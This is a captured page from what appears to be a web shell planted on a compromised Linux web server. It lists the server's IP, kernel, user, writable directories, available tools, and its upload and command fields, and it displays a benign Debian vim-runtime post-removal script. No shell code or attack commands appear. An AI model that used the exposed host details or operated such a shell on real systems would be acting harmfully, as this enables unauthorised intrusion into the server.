403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.58
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/vim-runtime.postrm
#!/bin/sh
set -e

vimcur="vim91"
basedir=/usr/share/vim/$vimcur/doc

rm_diversion() {
  dpkg-divert --package vim-runtime --rename --remove "$1"
}

# When upgrading to a new major upstream release, we need to remove the old
# vim-tiny help(tags) diversions
major_upgrade() {
  newver="${1#?:}"
  newver="vim$(echo ${newver%.*-*} | sed 's/\.//g')"
  [ "$newver" != "$vimcur" ]
}

rm -f /usr/share/vim/addons/doc/tags
if [ "$1" = "remove" -o "$1" = "abort-install" -o "$1" = "disappear" ] \
    || ([ "$1" = "upgrade" ] && major_upgrade $2); then
  rm_diversion $basedir/help.txt
  rm_diversion $basedir/tags
fi



exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit